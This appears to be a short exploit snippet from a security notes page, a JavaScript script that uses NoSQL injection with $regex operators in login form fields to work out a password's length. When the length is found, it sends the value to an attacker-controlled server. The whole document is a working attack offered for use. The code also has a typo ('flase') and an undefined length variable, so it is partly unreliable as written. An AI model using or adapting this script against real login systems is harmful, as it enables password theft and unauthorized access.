NoSQL REGEX Password Length
// this is script is used to exploit nosql injection with regex to guess the length of a password
var req1 = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890`!@#$%^&*()-_=+[]{}|;:",.<>?/\\';
// guessing the password won't pass 32 chars or maybe it is a hash
for (i = 1; i<=32; i++){
// this will
req1.open('POST','http://domain_name',flase);
req1.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
req1.send('email[$regex]=EXAMPLE@EXAMPLE.EXAMPLE&password[$regex]=['+ charset + ']{' + i + '}');
if (req1.responseText.length != normal_req_length_value){
req2.open('GET','http://my_http_server_ip?length=' + i,false);
req2.send();
break;
}
}
Last updated